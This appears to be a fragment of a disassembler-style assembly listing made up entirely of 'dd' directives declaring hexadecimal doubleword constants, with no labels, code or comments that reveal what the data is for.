		dd 794E688Bh, 798909E3h, 0BF1BCD80h, 9D0FF0C8h,	87850942h
		dd 35C0D02Eh, 7C2AE9AFh, 1F0F7C81h, 4DDE8B8h, 0C3A0749Fh
		dd 5903A548h, 0D91D1BF7h, 0E8504084h, 9B51C1CFh, 24480D04h
		dd 4603990Ch, 763C7F29h, 6183E0D7h, 2F8F0FF4h, 30A065C6h
		dd 0A325B805h, 0F0857419h, 86E2A6B9h, 0CD12C60h, 6550CAB0h
		dd 790F0E59h, 0A19FBD7Dh, 5528FF3h, 48F2704Dh, 5CB730h
		dd 0DB12327h, 0FEA1C67Eh, 7AF3405h, 800080B3h, 0A5C5924Ah
		dd 9C330306h, 41020367h, 0C4356905h, 4C658D23h,	0BBBD5804h
		dd 0BFAF051Fh, 2EB44E76h, 414750C6h, 7FB5F70Fh,	0ABA9780Dh
		dd 0D46D31E0h, 0BCB22138h, 8C6B0A59h, 448F89Fh,	88517077h
		dd 0CD46150h, 741E0324h, 3A85003Ah, 8FA0049Eh, 7E2090A5h
		dd 26F90F51h, 325D0C9Fh, 6C109929h, 82289A2h, 2D2B4486h
		dd 0A3462284h, 22F85622h, 414223B8h, 228EB011h,	275005Ah
		dd 0E8E10DBAh, 95F4DF7Bh, 38009877h, 74540833h,	776DDB75h
		dd 0A3640047h, 0FFC73C2Eh, 0C2FAAA85h, 3ECC1D00h, 0B9A55370h
		dd 725FADAh, 71FC9AC1h,	5B919090h, 51003BD5h, 5C3E4D85h
		dd 37C20BBh, 1D33CFE4h,	4D0D8DEh, 8F008109h, 4AF5B731h
		dd 72D607Dh, 0C873CC6h,	9CA26034h, 8A0703BFh, 418DCA43h
		dd 164EBA80h, 7E9D02FDh, 2D79F37Dh, 0D871C0A0h,	7F00EBDDh
		dd 0E1E68AB3h, 12041D3h, 0DB9C9FA8h, 0F3FFA634h, 0C6C042C3h
		dd 2F01A252h, 0F37C5C91h, 40347E85h, 0A796073Ah, 60F01C40h
		dd 4E535446h, 0A606A07h, 0BEE03083h, 0EE438DD9h, 0BB8008Bh
		dd 6DD1CE11h, 1D006053h, 93C7D720h, 0B976C9h, 29A5FEBEh
		dd 0B4895039h, 77AD8F00h, 7693191Ch, 4505074Ah,	774FF9CBh
		dd 0A4A05078h, 563095F2h, 4B20B8E5h, 0F308000Ch, 0D11DC5Eh
		dd 0D3E6FC8Ch, 12792F00h, 2E9E52DDh, 679D014Dh,	478FD405h
		dd 0BDB0FC26h, 0AEC05000h, 0C69338CAh, 6F60F1Fh, 0EFA01573h
		dd 1765F22h, 87A4A93Eh,	55A87F28h, 40EC0FAEh, 0C746D2ACh
		dd 0B1F100DAh, 0A6E0D12h, 0D53989B0h, 0EDCA80CEh, 5A8CF87h
		dd 4EE0005Dh, 22B323DDh, 3E48517Ah, 9C2D073Ch, 0C07F298Dh
		dd 0D253144h, 0F1F93C19h, 8E6EFE80h, 832FD858h,	84C12B00h
		dd 0E7B1DE7Fh, 3D87E07Ch, 782E74h, 0BA9AE9E6h, 146FD795h
		dd 20DF831Fh, 2EFA7DC0h, 386C0CEh, 2519D265h, 0D9F8E492h
		dd 1118E37Ch, 0D1700C85h, 9E7A54h, 9C45FFEEh, 0B34B6234h
		dd 94F6B0A0h, 0F1196309h, 650C00B2h, 204964A8h,	24105706h
		dd 7A00A468h, 301CA32Ah, 0AE00A076h, 97FC80BBh,	24F2F3h
		dd 89FD5E2Ch, 2FFF98BDh, 615BD203h, 0EBA71D53h,	7F880029h
		dd 1208B78Ah, 70DDE745h, 0AF5DFCC0h, 0D9E52Bh, 149892AEh
		dd 3EB4A0Bh, 0ACDA4707h, 296045E7h, 3D1D39B7h, 16801FB9h
		dd 0A238C23Bh, 74002E24h, 15677EE3h, 5D2DF2h, 0DF7187C8h
		dd 6536E91Ah, 1E00447Dh, 97725F94h, 0EC711EEh, 50961342h
		dd 2B9B5620h, 0E8C3F609h, 0B8A06B0Ah, 0B984D5h,	0FE089848h
		dd 2A3B366Dh, 0E1B35800h, 6466707Fh, 0F0470035h, 0B9038C4Fh
		dd 0C601E51Eh, 98FE3783h, 92D89554h, 68150030h,	0C2293188h
		dd 4C07EE6Eh, 0FD1F6B9Dh, 8E0B6D71h, 1B5EC60h, 0F43F6F0Eh
		dd 0DC0D4CB7h, 0D00058F9h, 0AD9D5D26h, 0D61AAFh, 0EDF6C589h
		dd 73D372CEh, 578B0600h, 10FCDBAAh, 9A561397h, 7A8FB01Eh
		dd 41945216h, 0A8F0B41Ch, 18B2D5h, 0A70CFC9Bh, 2C6CAF84h
		dd 0C1088200h, 22111C3Fh, 6987008Eh, 3D1878FBh,	0DB00E5ABh
		dd 0B5D29BCFh, 3227FAFh, 80A3F2E2h, 98F93ABDh, 0B412CCD0h
		dd 0E8C0947Ah, 54C04EA8h, 9C2E004Dh, 3A16902Fh,	7B005DF3h
		dd 55CE2D0Dh, 7F65B1Ah,	6FE739C0h, 792AF17Fh, 0D01E8069h
		dd 6B0F541Fh, 5B240071h, 7A5A3C8Fh, 0EC037253h,	6F027CA8h
		dd 522C8892h, 0A354011Ah, 973628BBh, 0B1EFF8FCh, 44B76B00h
		dd 0D40D2A6Ch, 4BB822h,	5099AA66h, 0B1F37962h, 8F9A9D00h
		dd 6353BD25h, 0A6FD00C9h, 48108B12h, 0E200B3A5h, 7C13D77Bh
		dd 2A4427h, 4EFD18C6h, 6951F6F0h, 5DB82605h, 2782D252h
		dd 7B84C00Ch, 0D3AB0ECCh, 0F21310h, 61663F1Dh, 0D5727D23h
		dd 0EDB10D09h, 0F9C20016h
		dd 27C6C2h, 722B6BF6h, 3A439169h, 1EC6148h, 0AB1CA9FCh
		dd 24306A7Dh, 5AAD13E9h, 73EC27D1h, 0DAE08DB1h,	70006371h
		dd 0D528C433h, 781E6h, 53E9A25h, 797FC272h, 0D49B39h, 0B0D6CEE0h
		dd 0CE0AE2D8h, 0EB4073B0h, 9CE5E82Bh, 0F70C8000h, 54E41B79h
		dd 2635020Dh, 6A8EDA89h, 0F54AF360h, 0F60E4D00h, 0D9811B2Dh
		dd 79E3009Bh, 0C6A44640h, 2664A174h, 0B8211B1h,	3D589C8Ah
		dd 0E980C19Eh, 0D96CBED4h, 38C0B1BAh, 644D520Dh, 5C33022Fh
		dd 6C8BC563h, 678F2C40h, 0EEFAFE07h, 0AF101028h, 186A5106h
		dd 0D1D9B3F7h, 5F8EF43h, 2E5CF500h, 0B40F44Ch, 6A6F00FAh
		dd 18CB9917h, 0D91E4DA8h, 0C2448008h, 21C0F48Fh, 13F398E8h
		dd 0CD1F6D8h, 4910E919h, 0F5026178h, 9A95552Ah,	9BF4A088h
		dd 0BAD8B95Fh, 0B4F480h, 2B0474A1h, 14A223FDh, 9A631607h
		dd 299027E5h, 0F910B3h,	5B9F1965h, 0F84F98C6h, 903C098h
		dd 7B013246h, 2516B0C9h, 0EA913885h, 425812h, 46785237h
		dd 29001A8Ah, 392063Ah,	0F0B5E47Fh, 0CF670E0Dh,	0F6E06EE3h
		dd 51491E6Ah, 0E230DF00h, 0EF3CB789h, 1D90A2h, 63F80E9Bh
		dd 111C059h, 87DC3400h,	5E3AE5A5h, 2CDF001Bh, 97E10F9h
		dd 924A8C1Ch, 0C382CC00h, 0F64ED308h, 80175E61h, 0CBCEF475h
		dd 0A0211200h, 0BE19EA1Eh, 7FDE1FFFh, 251380E8h, 5E4E8731h
		dd 0A700F972h, 0E7CCBF7h, 50FCB1A4h, 1CF1E867h,	83EE4D2Ah
		dd 79534872h, 69F00798h, 3442D4A8h, 0D7256700h,	0BA1BB9D9h
		dd 7EB2E92h, 0ED200300h, 50DF7C0Dh, 727FDB1Ch, 3C956E00h
		dd 0FFAC24B6h, 3F860078h, 77500984h, 40091BEh, 0C15AEC2Fh
		dd 195B1Bh, 0E5FC8683h,	2C5E29B6h, 0D20FD300h, 0CAC9A9CDh
		dd 0CA0000Dh, 43183DE2h, 967F7421h, 0DA40A100h,	0C101BE52h
		dd 0B19E740Eh, 0BC240084h, 8D09B7Ah, 1F525C1Dh,	37209840h
		dd 0EF4C4Eh, 4F353066h,	26539954h, 0D610E801h, 5862E5B7h
		dd 2361DFCh, 9067E26Fh,	38439949h, 0E52061C2h, 0E62E6875h
		dd 0A2BD1C5Dh, 93EE6Eh,	4CE5911h, 5100ECEDh, 70202A7Eh
		dd 0E8D1389h, 0FF277FFCh, 40AC7B00h, 0A065AE9Dh, 24C01551h
		dd 0E51D9F3h, 992B0EA6h, 0C0228BE5h, 0D23F5E5Dh, 3A1D5090h
		dd 3D808391h, 59E32F0Ch, 0BF7100A8h, 7C34115Eh,	473FBE6Ah
		dd 0B0C68FB7h, 9C7C17Ah, 36D45AFBh, 86560049h, 570B9F8Ah
		dd 0DA006C69h, 83D4E614h, 2EB4D045h, 3CB823h, 7E585D0Eh
		dd 60EA1CE4h, 6AAE0809h, 95D40775h, 42D43040h, 4BF10033h
		dd 76A3ED73h, 0FA005B91h, 0D8839CF6h, 6F0A8Fh, 1A65026Ch
		dd 899A274Dh, 47CAD21Eh, 3FFC5E41h, 3330211Fh, 97F800B0h
		dd 0B811B93Ah, 1EEC614Fh, 47107101h, 35C0D453h,	2CD8AE8h
		dd 0D2CEABBFh, 4AE021F6h, 0C600F820h, 32D03706h, 0FAA9913Bh
		dd 0F76500D6h, 48D464D1h, 8100DE24h, 34A64988h,	0C061D3BFh
		dd 51DB2D08h, 0C80F581Dh, 0A0238497h, 72C5A62Fh, 0F1173D81h
		dd 3F89523Fh, 1B83DBEBh, 19C8A024h, 7C0EB962h, 395B806h
		dd 0F03544FAh, 7F3174h,	576C5171h, 0A399BC89h, 1A27E418h
		dd 0E79C17Ah, 233C368h,	8F3B0C47h, 0B0DA3DE0h, 0CF00B56Ch
		dd 78ADFFA3h, 120922h, 0F817C82Ch, 57A1AFD8h, 4C73F400h
		dd 0C0C1787Bh, 590D0FE6h, 0B2D904h, 0EF8FCBB5h,	68E80C70h
		dd 63997100h, 0AB2C241Ah, 0B60B0E5Ch, 144FE11Dh, 0DFD3D500h
		dd 840209BAh, 0A407CEEh, 3B43C1E8h, 38549980h, 0CBFE76ADh
		dd 9B0F8800h, 0D9B6FC93h, 0E760E3DBh, 99EA00D1h, 1C911A6Bh
		dd 5801652Eh, 0B9A232D4h, 118196C4h, 9F064A7Ah,	14ED4091h
		dd 3300F656h, 6DB59427h, 7CAE23h, 0D121B7E9h, 0BF4662B2h
		dd 345CF407h, 0A0C0614Ah, 0CB18Dh, 78EC0937h, 0EE648281h
		dd 0FD519500h, 0D6149705h, 11E866h, 13CCFCBFh, 0FE4E30A0h
		dd 0E0AB2100h, 0DEA62962h, 5825264Bh, 0CA5A00D1h, 0F93EE691h
		dd 0F7004898h, 365B94CFh, 0BE0FBFh, 0F2B38FDDh,	46866851h
		dd 19D52A18h, 0FA1811h,	0CFED8402h, 0BF599374h,	8BE8E200h
		dd 0B43BCED3h, 6119000Ch, 2B8D4089h, 463C7D05h,	604810h
		dd 0D641EB84h, 0C24DDD7h, 1EF85BEAh, 6D001740h,	894251FEh
		dd 23F34Bh, 84181BB0h, 0BC61C712h, 0C093AC01h, 0C32A203Ch
		dd 3CDB4CF4h, 1C8150DEh, 9FB2F72Dh, 1749D0B7h, 0F0E69EA0h
		dd 0BF001F70h, 0AA270248h, 132573h, 3EAC3C75h, 0CC3A54EEh
		dd 0B5F61FF6h, 340060FCh, 0F04401A4h, 2647F5Bh,	8C2B0C81h
		dd 0CE09443h, 1C0055DCh, 0E1DE5A59h, 84927h, 0B937F50h
		dd 953A7DC6h, 0D11DD3B0h, 2A47ECA3h, 0B7D342E4h, 64DE90E6h
		dd 50F0190h, 9458865h, 0FAB07FF8h, 0E0060032h, 0A4B5EB8h
		dd 0B400A7FEh, 0F74D2BAFh, 0D2CFA5h, 9EF04C68h,	78591EDBh
		dd 0A1CD1800h, 0CBC3412Eh, 0FCC40005h, 10D985D7h, 3C1D71BEh
		dd 0B1800442h, 0B5050E55h, 9407001Ch, 0AB5F6D98h, 47000FC4h
		dd 5337EA89h, 37EF9DBh,	0CAF65407h, 0D2F07366h,	56005EE1h
		dd 2AA4C11Ah, 0DDAD96h,	0A3BD57FEh, 0C5B17455h,	0EB985D0Eh
		dd 4F932050h, 7909F13h,	0BBC43861h, 34D92C1h, 1DD127E0h
		dd 89171100h, 96E91645h, 4217379h, 0A193BE72h, 0DEC3C06Ah
		dd 9C00DAF2h, 24CBCC1Dh, 0B95694h, 8380EFE1h, 7C7AA40Bh
		dd 0C2120100h, 5BEE6FDBh, 1B6A0049h, 0B782BF27h, 0BE033B20h
		dd 2822AE24h, 13D7B045h, 0E5C400DEh, 0E603BC2Eh, 260C1E9Bh
		dd 319A795Ah, 8AEE0717h, 907558E5h, 0E33AC8BBh,	10C79001h
		dd 5247FB57h, 2CC43C31h, 0DAAD0098h, 2E17518Fh,	8501B3CDh
		dd 0F12AB419h, 0E0808A30h, 8B548907h, 9F0047D1h, 0C90B95CFh
		dd 1ED85014h, 409B816Eh, 0E73FA865h, 0DE002C41h, 0B6EB78E9h
		dd 0BA924Eh, 77CA966Eh,	0E251C03Bh, 8041383Bh, 0A6547AEDh
		dd 0E6CD551Dh, 60FB0F46h, 6465FE82h, 48F00020h,	0EF7E573Dh
		dd 0B9582102h, 60173AD9h, 0F302ABh, 0A2E5121Ah,	0E82DC45h
		dd 0F6B7351Eh, 0A9EDFFC3h, 0C13E883Ah, 5FCD0EC9h, 0AEC0CF69h
		dd 0EEEBAD4Eh, 0BED16300h, 67EF25A0h, 6DB105C6h, 0C0115F49h
		dd 0DCE56A93h, 31501260h, 4C6CE254h, 0C1022A56h, 6559F529h
		dd 57034FE0h, 0FF07B21Fh, 5EF280BEh, 0FED33F95h, 0F62B3D84h
		dd 0BFDB0F80h, 0DDD59F6Ah, 19FC2300h, 0A7A21F1Ah, 81AD280Ch
		dd 75B00384h, 0FD642077h, 8B5D7BB8h, 0EFEB9500h, 47BFD054h
		dd 8C87009Bh, 0C29ABE8h, 0EA029AA8h, 7684BB7Ah,	0CE98E085h
		dd 28B9001Ch, 566A393Ch, 0A07988ECh, 65EE3000h,	27746F4Eh
		dd 2BF01DFDh, 0A39F00E6h, 0DC50D31Bh, 6DA53Fh, 8AE3D930h
		dd 52B2F9h, 35CAD48Dh, 9A39664Dh, 0E6ACC100h, 859C1669h
		dd 5B70124Ah, 6310009Dh, 9FFB6EF6h, 7CC58A00h, 485101CCh
		dd 955B00D0h, 0D5028CFEh, 2A000B17h, 41E02C37h,	427CD1h
		dd 9887ED3Dh, 68DDAAE7h, 47AD600h, 1317B3B6h, 346401FBh
		dd 0CF5B4D60h, 9F0CD86Eh, 0F006BC75h, 57138ED7h, 84CC1E80h
		dd 2FE10CD9h, 66809C11h, 948933h, 3EAA02h, 905C7CF0h, 79082EFAh
		dd 192F201h, 81A46F75h,	0AC6C7F3h, 6C624C18h, 6C076D39h
		dd 0CF046FF8h, 970A0C34h, 80808D24h, 86D2310Bh,	86E928FFh
		dd 4EF32550h, 50161028h, 139888Ch, 0DB67ADA1h, 3DF330B3h
		dd 566D8500h, 0FF219D9Bh, 7A870050h, 47490319h,	30008B28h
		dd 0FC6C3CC3h, 1D78218Eh, 0E3B032h, 3BA31A9Ah, 8F0CA0C8h
		dd 3A90B675h, 0BC0F3BCEh, 9FA58101h, 0EC881666h, 20EA663h
		dd 41FE2E8Dh, 7FA78BF0h, 1623770h, 0EF33FC56h, 0C081145Dh
		dd 5871F664h, 19A9C600h, 73F3B6F0h, 986D0026h, 4B6FBD88h
		dd 57003F20h, 633153C0h, 60A09903h, 7A88E810h, 90A09E62h
		dd 0F30A2367h, 10BB8C17h, 206E5C80h, 8F540Ch, 55368DB0h
		dd 28902B8Eh, 44508902h, 0D709F361h, 0A4015C42h, 0F0D71E1Fh
		dd 0ACA83B6Ah, 0D8882EBh, 0DA200029h, 0F9DE339Fh, 3FFE22F1h
		dd 97F86D00h, 6B68630Fh, 0FC53503Ah, 1C090252h,	2EB3B595h
		dd 0FD41E480h, 0A1309658h, 0ABEAA13Ch, 272800ADh, 700A36CDh
		dd 77068EC3h, 86CAE9FEh, 0F83EE79h, 0C80FEC97h,	44582900h
		dd 4000D59h, 0FB51E639h, 98CC904Eh, 4F0C2AC2h, 867B1730h
		dd 0D845008Eh, 421F0978h, 14B3D301h, 13E1CFE9h,	0BF0E2F5h
		dd 7F81Ch, 3CCE67F2h, 97DB4ED0h, 72F35119h, 44E7911h, 48ED550Ch
		dd 30000E10h, 0EF52CC53h, 19D3316h, 0D870D0A8h,	0C8A31C80h
		dd 0EC00F415h, 55888F06h, 40CDE6h, 19127DE8h, 0D07AB6A6h
		dd 0C41C777Bh, 4440FF58h, 1068098Fh, 1CA8F2B5h,	0FECE725h
		dd 74009178h, 269E388h,	0C00A77Bh, 847A9A03h, 259323Bh
		dd 1C7ED720h, 5C40F21Dh, 8C3EDACDh, 3F2E806Eh, 668D1BBBh
		dd 0B1CA0082h, 7DF16327h, 1500F343h, 0CB7CA6FAh, 1F0FCC84h
		dd 40C640D5h, 5B9F690Dh, 0E90026D2h, 0EFAEA309h, 0E415EA61h
		dd 777F90EEh, 3FCBFE4Fh, 9E80C3A4h, 0B4BDA8D9h,	4805B0EBh
		dd 38405C10h, 9900B7C5h, 73846F8Bh, 0C78900EFh,	7D99D058h
		dd 610ED1E5h, 0C0B22B57h, 0AB4143E9h, 0CF2905B5h, 0E3D1917h
		dd 900009BCh, 44BA016Ah, 0EC5A11Eh, 0CA84D900h,	0D4E42B4h
		dd 49EEB6C9h, 19D28048h, 0C8708AF2h, 512F30F5h,	47E5B118h
		dd 0B462DFE4h, 0A0740360h, 410AF5ECh, 0FC221452h, 0A0008C7Fh
		dd 0DF471661h, 60F0BE31h, 4100EE5Eh, 0CC5F0FF5h, 0FBFA1E23h
		dd 0BB5CEDD2h, 0D8B2707h, 0F8C322A0h, 166307ABh, 0C7F2C961h
		dd 405BC599h, 420660C0h, 72070731h, 0EAF195C5h,	2AD461D0h
		dd 633B0008h, 0D8C260B0h, 0E87A20CAh, 4F335A00h, 61F3A4D2h
		dd 5B503A2h, 4642F93Eh,	6A97E480h, 51A53000h, 6457F135h
		dd 0DE950E02h, 0D7C0E922h, 0EE70BFFFh, 5F050DF6h, 0A42D23B0h
		dd 4A992D80h, 15CE00D4h, 0E822DC77h, 8C0321F2h,	0AD762483h
		dd 0B72906DBh, 0DE61A7ECh, 0DDF69401h, 3FF487D2h, 131A9F8h
		dd 12809230h, 0E889793Ch, 49000928h, 694F40C9h,	0F2C17194h
		dd 6A3100EFh, 0FBF9DF9Bh, 7F000844h, 0C39C5BA3h, 15C77CEh
		dd 9010DBA2h, 0D8D906ABh, 0F700596Bh, 6CF0FC2Bh, 0DE8284h
		dd 0D5F640BDh, 704726F2h, 418E7418h, 1F1E7A68h,	800D380Ah
		dd 4D254EECh, 0B27ABF5Ch, 6876100h, 837B96AAh, 60B13A81h
		dd 0F0F6D185h, 0F3D10095h, 0FA441AD9h, 0DAFC1603h, 809DA676h
		dd 3C35A9h, 0ED248F86h,	895AE03Fh, 0CAF7700h, 0A73AEF49h
		dd 0D5873054h, 3F0A6971h, 0CAAD80h, 3B62B412h, 0A1A726C2h
		dd 0FBC72F00h, 0CF2B1F6Fh, 0ECB3FB3h, 7100063Fh, 0A5862449h
		dd 407DCA2h, 97481252h,	0EA3359B0h, 0ADE605DBh,	80256608h
		dd 3A0C866Eh, 961F7601h, 0BD04D777h, 3C8082C8h,	62B83EB5h
		dd 0C883D9B8h, 0D0BB8D42h, 1F541BC8h, 191E2E00h, 0B1FF820Dh
		dd 0C1C2002Ch, 0D1833F9Eh, 21001F53h, 0DBF2D2A9h, 9C7943h
		dd 0E02B42B8h, 240A6622h, 61CAD607h, 0B180F6D3h, 931043h
		dd 0B7F4DE15h, 0B6F956B5h, 0EE3CFDF8h, 0C90400D7h, 0D30E5C7Dh
		dd 0B0470051h, 9A300DEBh, 62488E79h, 252B1724h,	8D1C22FCh
		dd 0E945C03Ch, 1AD5F341h, 0D89D3403h, 0D0814FB8h, 0F4C8B0B2h
		dd 0E2A107FEh, 0F062CFC5h, 0CABE96A9h, 5AAA7D0Ah, 5D01C59Fh
		dd 974489BBh, 3DA4E6C4h, 7A80EE6Ch, 7E0275EBh, 910331BEh
		dd 7FCE2AA2h, 0FF1CB064h, 86C92FDh, 314EAB63h, 0F3F1A353h
		dd 258FC10Eh, 0CB9A807Ah, 860093B4h, 9D4E7FCFh,	3C2A089h
		dd 846922D2h, 8C929635h, 6F4B1C40h, 80CC743Fh, 6BF30E70h
		dd 0A8114578h, 2813DDE8h, 7F806950h, 5B260EA5h,	126ACF64h
		dd 2E6A8394h, 2900D7ACh, 5D9B23E3h, 0E4B63D4Dh,	0BD945086h
		dd 520C0065h, 0BBD711A8h, 0FD074A3Eh, 0CBC4D927h, 0C7681F00h
		dd 0F18900D6h, 998582D7h, 8A09810Dh, 80AB102Fh,	13FF8331h
		dd 84B489Eh, 0CB907Dh, 0D4B4C85Ah, 0C1B98CE6h, 25405800h
		dd 94752387h, 0D65A0FF8h, 96200301h, 13E45B52h,	6F7C7700h
		dd 53C18AF7h, 799000A4h, 8D189E06h, 92D7A0Fh, 80DFE2ADh
		dd 33682952h, 0EB771EE3h, 0EED381F4h, 0F7E8C2CAh, 0FCA2B780h
		dd 110083FAh, 0DCF73754h, 0F3E7848h, 0CDF592C5h, 20D43043h
		dd 0FBFEF3D0h, 2CF2A224h, 46977640h, 0D3E69Ah, 0BD28A881h
		dd 5A18D72Bh, 0CD034098h, 8398F976h, 0A394E8ADh, 0ABE2001Ah
		dd 9E3E3C69h, 6538BB89h, 0A5F08355h, 97C5B502h,	88629031h
		dd 42E0C4h, 918A18Eh, 4B1F031Ah, 0CD915200h, 0A9659F66h
		dd 0CFCA0023h, 0E26DD5A0h, 0F9006B7Ah, 8D5CB688h, 7B6CC9DCh
		dd 64BA3F7Dh, 6114987Fh, 0B6D19872h, 3ADFF4B9h,	1FBC9C00h
		dd 79C0A287h, 89F40EA1h, 7A449437h, 615C80A0h, 0DE001046h
		dd 609E6DB2h, 4AA901h, 5A731735h, 0A40FC69Ah, 0DEC06800h
		dd 0ED6FBEBBh, 61030002h, 0B50118Ah, 243C5FA6h,	746C80E4h
		dd 0C5BD31D4h, 0C04B0089h, 5D6980A1h, 83073C46h, 1052B9E5h
		dd 0F81B07F0h, 0E2203A0Dh, 45F56107h, 0E7E03E87h, 0D4242B3Ah
		dd 0DCD15300h, 0B91320F0h, 0B1AC66A0h, 98902038h, 3D07A6F0h
		dd 55A2995Bh, 73A1BF40h, 102E5039h, 1C4B51B8h, 1D84E0ECh
		dd 820FDh, 0A55D68E4h, 0B52621CBh, 7500D0F9h, 4147C6FAh
		dd 80E2008Eh, 401BC051h, 0E703E88Ah, 0E5DF1C20h, 0E0400122h
		dd 0FCC7F0FBh, 0DA609371h, 0FCAF990Fh, 3574F780h, 4DE57510h
		dd 0D8301056h, 0E7DA6820h, 0A13BF130h, 0ACA1BAh, 1335256Fh
		dd 0B1D8DE0Dh, 0F108F700h, 0B93A560Bh, 4AD105F0h, 0FF3AD27h
		dd 30098B3h, 5E97E59h, 8E60ACB8h, 3DBE1E54h, 0CF021712h
		dd 0F83300DCh, 0B54AA5F5h, 0A3852200h, 0B6210797h, 99B10186h
		dd 23ABE55Eh, 0DF73C857h, 92411000h, 0AE86526Eh, 0FD8B0074h
		dd 0BF87F726h, 0C9C05540h, 0DF336641h, 19D0E6DAh, 87BE224h
		dd 14218F29h, 6D5A71Eh,	9980F904h, 18ACD34h, 39AAAD25h
		dd 64F38FF1h, 0D000D478h, 656D10A0h, 0CB75BB35h, 0C020D809h
		dd 54A068B4h, 63A2E07h,	0E8D06057h, 3BA8E25h, 0F8787573h
		dd 0C9B091A3h, 26E62D94h, 0C8B468C6h, 0AF072A40h, 203F67B4h
		dd 633CA8A5h, 2E0D81h, 0A0AF0521h, 38FCB136h, 0C49F4D51h
		dd 0A600E27Ch, 532A6187h, 0ECC1EEABh, 0E00C5277h, 0FAE99F00h
		dd 5B15A2BCh, 9B8F133h,	7F213D9Ch, 53B4FA00h, 40C73CB1h
		dd 0A1C55000h, 95DD5C83h, 468CA484h, 0A0D302F0h, 31DD6D13h
		dd 0EBB310FDh, 0AC100A0h, 0FABDAF6Ch, 0C901A6A3h, 153ABF1h
		dd 0A1E73EF4h, 22E09405h, 46430034h, 50C3E507h,	6F00A244h
		dd 0A99FCD20h, 7DB641h,	60709502h, 8A79FB5Eh, 4A1F801Fh
		dd 0E2EF5640h, 5F87BCh,	32066173h, 3365BEC3h, 3ECE48h
		dd 457BED47h, 33A69A1h,	0BEA294BAh, 0FAA0E9C3h,	441EE864h
		dd 928023DEh, 0E2B6A549h, 39500057h, 0D4178508h, 690736F3h
		dd 74DD46DEh, 68E5A720h, 0D980027h, 7656EB1h, 1AE8BAF9h
		dd 0C0DD3300h
		dd 0E4B90974h, 0CF240964h, 2080B741h, 6801DC1Eh, 99ED3700h
		dd 66E8AA82h, 26C8FE3Fh, 7A53D9h, 0E4A1B0FAh, 830767ECh
		dd 0BBADEDBDh, 641987C0h, 8C980643h, 8A81BAFh, 20ECC930h
		dd 199EFCh, 0C023B0A2h,	0B33D2F36h, 6D995F00h, 0D1436FF2h
		dd 0C67D00BFh, 0EDBB806Ah, 0BA3ADA0Bh, 668D9F9Ah, 65FBA7Dh
		dd 6E2D6976h, 0BBAF3708h, 7D1E2020h, 9500B76Ah,	0BC2B4153h
		dd 39A1F5h, 0BF9FF170h,	0C15C2728h, 0EA3F59F4h,	6686393h
		dd 4B400066h, 2C144D36h, 5930780Bh, 0B0AD59ABh,	0F7BA1851h
		dd 2F5530ACh, 48487337h, 4E77DAC0h, 0ECB1C8C7h,	857D65C2h
		dd 58221EF8h, 1D9720B0h, 7C02317Dh, 0B4F80D32h,	0C6A880FAh
		dd 0C05DE3DFh, 1AC4560h, 54C63BEh, 0CA140FC9h, 29B380F8h
		dd 0F34030h, 0D2D68479h, 0C7F23D72h, 0B3C2600h,	81CABF38h
		dd 1FECEEFCh, 0A4068A83h, 39A20CE8h, 4A73A11h, 361913E1h
		dd 9BE1080h, 590C6058h,	4F7BC007h, 33D73B37h, 0D11389C3h
		dd 0F6705CDCh, 63AB328Dh, 0AF119C28h, 0E1F422D2h, 515D6C2Fh
		dd 802284E8h, 1428504Ah, 845F446Ah, 4B2E2284h, 44791C42h
		dd 62885051h, 0F0030095h, 649F2AF5h, 9FB0A577h,	94F9ED00h
		dd 0AEA46079h, 0EFE53F02h, 0C58FDF80h, 2D3846E2h, 0BDCF7A00h
		dd 3274F0B3h, 1FBE002Fh, 0FF24580Dh, 0AE000393h, 0C0694B76h
		dd 7E44D7B4h, 5B9A077Bh, 0C06DFD36h, 4EAA329Fh,	0A3BCF800h
		dd 0EDFB29D2h, 0D0F1003Ah, 61866F56h, 0F500CBFAh, 0FE260AA4h
		dd 1C9CB15Fh, 439A832Dh, 3A0552F8h, 290059D3h, 48B84DC3h
		dd 5745CA9h, 0B221A2DEh, 0D8D843F0h, 9A08204h, 6A002C71h
		dd 17AEFE16h, 2453F06h,	0A68EA453h, 23E378C0h, 1459500Eh
		dd 0D846A00Dh, 0C1BAE9h, 0EC322E98h, 35C0A7CCh,	0A4696B0Eh
		dd 2646E4E8h, 495D2490h, 9CAC38EAh, 4D184200h, 0CBD8CD7Eh
		dd 7548D600h, 0C5A58DDFh, 0EE391E33h, 0E69DBBh,	0F12A8654h
		dd 2E280BEFh, 0B21C8CDBh, 74402B09h, 0F2CF969Ah, 16E7004Fh
		dd 4738CB44h, 0D800E0D1h, 0C96B26F0h, 37E2E4h, 9080ACAEh
		dd 0D465D64Eh, 0F706D5B0h, 66DA1561h, 56EF211h,	0A0786D5Eh
		dd 228400A8h, 48664AFAh, 3549FF0Fh, 17D200B6h, 1056CBDh
		dd 60CA75F8h, 0E02D9D21h, 0BE0E44AEh, 0A0CC14FAh, 15B4E0FCh
		dd 3306076Dh, 90F5A656h, 85F4EF54h, 0D4F11C00h,	0C4AC0F92h
		dd 97D60E1Bh, 0A720B859h, 41C1B463h, 736EB012h,	4DBAA800h
		dd 982EB7DBh, 0AE1200E5h, 26BFD35Dh, 423CE3F1h,	8AA601A7h
		dd 183DC7DEh, 5B9EDCCh,	3375709Dh, 0C8658008h, 3728AA8Bh
		dd 0C038CB76h, 4B930034h, 4C4A1EA6h, 90BD7AC1h,	6540008Ah
		dd 172DAF76h, 24049F35h, 0F54C81C3h, 8705E482h,	1680E0CDh
		dd 966BEDh, 76938825h, 0CB6572AAh, 58E3FF24h, 4B021D26h
		dd 40856DF0h, 88DC11Ch,	9AAB0C95h, 0AF1FCF09h, 0E323E018h
		dd 0CC71ACCh, 37C56844h, 0B6002F72h, 0EB7D0451h, 50F1960Dh
		dd 3E4AB088h, 7B9C0B69h, 0FC17805Ah, 591FFF8Dh,	0C80027E4h
		dd 644E1667h, 5BB5AFBh,	1E4677C6h, 0FE7DC03Fh, 6D3A1287h
		dd 0BD548015h, 0C04D17A5h, 5D380FF2h, 3C00240Dh, 0C232BF81h
		dd 0C499A03h, 9AF72D29h, 7EEE8009h, 39C4ECh, 28370BC6h
		dd 2C607DAFh, 5FF92003h, 88D6FDEDh, 409FA5h, 1EBC868Ah
		dd 1447DC2Ah, 0BC1D4B24h, 0F20F1C00h, 7B9D28h, 0FFF8AE66h
		dd 6CA520FAh, 1C534B0Bh, 8DE680FCh, 1FE75C74h, 80D1B9BFh
		dd 0F65A3147h, 0DF3BCFB5h, 864B800Ah, 41E245F9h, 609A00C9h
		dd 0F820A7CDh, 0AA0E27F5h, 0C0D47FABh, 0DD3E4551h, 0BC9402D9h
